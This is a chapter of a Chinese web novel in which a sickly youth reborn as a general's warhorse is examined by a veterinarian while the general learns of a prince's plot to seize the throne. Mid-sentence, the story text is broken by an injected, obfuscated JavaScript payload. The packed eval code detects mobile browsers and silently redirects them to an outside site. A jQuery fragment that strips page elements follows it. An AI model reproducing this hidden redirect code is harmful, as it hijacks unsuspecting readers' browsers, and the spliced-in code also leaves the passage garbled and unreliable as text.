6. 第 6 章
作品:《我柔弱,却变成了战马?!》 6
夏戎等人虽然上了马离开,但是在半路都决定调头,打算绕行从侧面出其不意偷袭北梁的追兵,但回来时,只见追兵的尸首,不见将军其人。
而那会儿宋铮只管冲出去,根本分不清方向,走的是他们从来没走过的路。
林子茂密,乌云又遮了圆月,天黑得伸手不见五指,夏戎三人没有寻到踪迹,也是到了天亮才回军营。
见将军回来,夏戎松口气:“幸好将军平安,否则属下难辞其咎。”
霍霁风不以为意:“哪有事事都能料得那么准的,有意外也在常理之中。”
“将军没事就好,”陆十九抱着自己的佩剑,面无表情打量着宋铮,“只是乌云究竟跑哪儿去了?”
这个问题,霍霁风回答不上来。
夏戎:“对了将军,为什么你们到天亮才回来?”
这能答,霍霁风道:“是乌云走得慢。”
夏戎追问:“它什么会走得慢?它可是能日行百里都不成问题的乌云啊!”
霍霁风的鹰眸盯视着夏戎,夏戎被盯得头皮发麻,明白了,将军也不知道,将军也很懵。
“快去请秦老,速去马厩,”霍霁风吩咐。
“是!”夏戎嗖得没了影。
霍霁风将宋铮牵回马厩,阿冬是乌云的专职马夫,即便是将军出征打战,他也是要跟随左右尽心尽力照顾将军坐骑的,他前脚到,后脚老秦也被夏戎拉来了。
“哎呀,慢点儿慢点儿!”老秦一步三跌地被夏戎揪着,吹胡子瞪眼,“我的老骨头要被你拽散架了不可。”
“不是我着急,是将军着急,乌云出了大问题,将军的脸色老难看了。”
老秦要给霍霁风行礼,霍霁风一抬手:“不必,抓紧给它诊治,看看是哪里出了问题。”
今儿一大早阿冬就来看宋铮,发现不见后大急,飞奔向中军帐要向将军告罪,是高崇山告诉他,乌云昨晚跟着将军出军营了,于是他把心放回肚子里,提着水桶高高兴兴把宋铮住的马厩单间打扫了一遍,洗刷得干干净净,地面铺的干草也全部重新换过。
宋铮还算满意,尽管比不上现代的楼房,但在军营马厩里属于别墅级别了。
所以,一进马厩他又趴下了。
主打一个能躺着就不站着。
这让霍霁风更加肯定,乌云就算不是中毒,也是被下了药。
秦老卷起袖子,阿冬做帮手,两人按照常规的流程,先检查马匹是否有外伤,是否骨头出了问题,可是和上一次一样,他们没有查找到任何外伤,按压骨头也不会引起马儿嘶鸣。
从体温、眼睑、鼻腔处观察,秦老也没发现有什么问题,可听马儿的呼吸,确实比往常弱一些。
老秦走到马槽边。
阿冬说:“将军来之前,小的刚打扫完,马槽里的草料还是昨日的,没来得及更换。”
老秦点点头,拿起一把草料在鼻子前闻了闻,又抓取马槽里面剩余的黄豆,放在鼻子底下嗅着,而后摇了摇头。
霍霁风面若寒霜:“草料可有问题?”
秦老:“回将军,没有问题。”
阿冬默默抿了抿嘴巴。
秦老又看向了饮水槽,伸手进饮水槽里拘起一捧水,送到嘴边尝了尝。
“.........”宋铮默默看着,心里有点愧疚。
不得不夸一声敬业。
这一检查就是一个时辰,相当于现代两个小时,而秦老诊察了多久,霍霁风就在马厩里待了多久,最后结果是没有异样,从饮食到体表查看不出问题,因此秦老猜测,症结应该出在马儿的肠胃上。
若战马进食过多或者消化不良,便会导致腹胀不适,影响精神状态,出现萎靡不振,对外界刺激敏感,从而表现出畏缩、胆小。
只是今早阿冬把马粪全部清理了,肠胃情况无从查辨,还得观察几日再定论。
“将军且放心,这两日老夫会仔细观察乌云的状况,一定悉心照料它,”秦老不敢打包票能治好,但以他从兽医几十载的经验来看,暂且是无性命之忧。
霍霁风一点头:“既然不是中毒,也不是被下了药,那便好好调养吧。”
秦老一拱手:“是。”
还没离开马厩,陆十九快步走来,在霍霁风身旁耳语了两句,霍霁风面色一沉,快步出了马厩。
在马厩里盯着一匹马,不如去校场操练,夏戎也丢下一句“好好照顾”就跑了。
宋铮看着那道肩宽窄腰大长腿的身影,忽然想起来一件事,昨晚上霍霁风可是承诺过他,回军营就奖励他好吃的。
这就走了?
吃的呢??
呢???
他分分钟起立,对着那道背影嘶鸣:“咴儿咴儿——”
“咴儿——”
“咴儿咴儿——”
灵魂板起脸,身体蹬了两下蹄子,原地转了个圈儿,从鼻子里发出短促的喷气声:“哼哧~哼哧~”
而后又嘶鸣:“咴儿咴儿——”
但霍霁风已经不见了,只能望见来回巡逻的士兵们。
“秦老,它怎么突然又躁动了?”阿冬问秦老,同时安抚着宋铮。
秦老也一时无解。
回到营帐,陆十九从怀里拿出一封信与一只白色小瓷瓶交给霍霁风:“宁王的人刚送来。”
霍霁风在案几后坐下,拆了手中的信,读完内容便将信件给烧了,冷声说道:“三个月后是皇上寿辰,届时宫廷大摆宴席,普天同贺,宁王想借着这个机会,请旨让本将军班师回朝。”
陆十九皱眉:“宁王等不及了?”
“是等不及了,”霍霁风眯起狭长的眸子,“他是打着让本将军班师回朝的幌子,借机要我带兵包围皇城。”
“可皇上寿诞不止是百官要进宫贺寿,还有藩国使臣也会来,他就不怕挑起大澜与诸国之间的矛盾?”陆十九道。
烧了信,霍霁风打开了那只白瓷瓶子,仰头将里面的一颗药丸倒入嘴里。
陆十九眼睁睁看着,默默咬紧了牙,握紧的拳头上暴起青筋。
霍霁风将瓶子一丢道:“上个月,宁王在府中中毒险些翘了辫子,看来是怕夜长梦多了,再不出手,皇位轮八百年也轮不上他。”
虽然霍霁风人不在都城,却对都城的形式了如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389822|184233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指掌。
承元六十二年,先皇病入膏肓,眼看着没几天好活了,那时三位封王的皇子,宁王、靖安王、宸王之间的皇位之争尤其激烈,朝臣们也拉帮结派,各自站队所拥护的王爷,后来宁王与靖安王联合将宸王拉下马,事后靖安王反手将了宁王一军,夺得了皇位继承权。
皇城夺位的血雨腥风平息后,宁王甘愿对靖安王俯首称臣,不久就染了重病终年卧床不起,于是一直留在都城内。
而宁王染重病是假,暗中卷土重来是真。
陆十九眉心紧颦:“将军接下来打算怎么做?”
霍霁风:“去请高先生过来。”
....
宋铮在马厩里气呼呼,打了好几个响鼻,阿冬陪着他说了好一会儿话才把他安抚好。
马槽里的干草料过了一夜,沾了清晨的露水蔫啦吧唧的,阿冬赶紧换了。
秦老估摸估摸着是马儿的肠胃不适,那吃食上就要更加讲究,于是阿冬专门挑得最新鲜的苜蓿草喂食。
哎,宋铮又是一叹气。
天无绝人之路,但绝起来是真没路。
他已经饿得马背贴肚皮,再不适应吃草也得吃了。
不过宋铮很挑食,嘴巴扒拉着苜蓿草,尽管这些是阿冬精挑细选的草料,还是被他扒走了许多杆子,只吃最嫩的叶子,阿冬把他的行为默默记在心里。
嗯,乌云挑食了。
回头得一五一十禀告将军。
“这两日就先停了谷物,”秦老在一旁慢慢交代,“给它做些麸皮粥,记得多添些水,一定要熬得浓稠,可以帮它排出积滞。”
“小的记下了。”阿冬点头,马上跑去厨房吩咐人做。
约摸过了半个时辰,阿冬捧着一个大大的汤盆回来了,做了满满的大一盆麸皮粥。
麸皮是小麦的外皮,即使煮成粥,也没法像大米粥那样顺滑粘稠,所以吃起来会有一种粗糙略带沙沙的颗粒感,不过这是对人而言,马儿连干草料都能咀嚼,还怕这点粗糙吗?
闻起来味道清淡,麦香明显,宋铮肚子都咕咕叫了,尾巴甩动了两下,食欲很高。
阿冬把大盆子架在马槽上,方便马儿低头食用。
宋铮十分文雅地慢慢吃着。
作为人的宋铮,常年体弱多病,脸颊有着病态的苍白,人也清瘦,因此举手投足总有弱不禁风的娇气感,但绝不是女气,而且他好看,不论是看书还是写字,总吸引着周围人的目光。
此时,好多战马都盯着他们的头马看。
心里只有一个想法。
老大可真斯文啊......
看着看着它们就叽叽喳喳讨论起来,一匹匹都嘴馋得不得了。
“老大,麸皮粥好吃吗?”
“我闻着可太香了!”
“老大真是饿了。”
“是啊,吃得头也不抬。”
“我也好想吃,不过让老大吃好喝好是应该的,老大是大将军的马,说不定今天吃好明天就上路了。”
“是啊是啊。”
“............”宋铮没有食欲了,“你们可真会聊天。”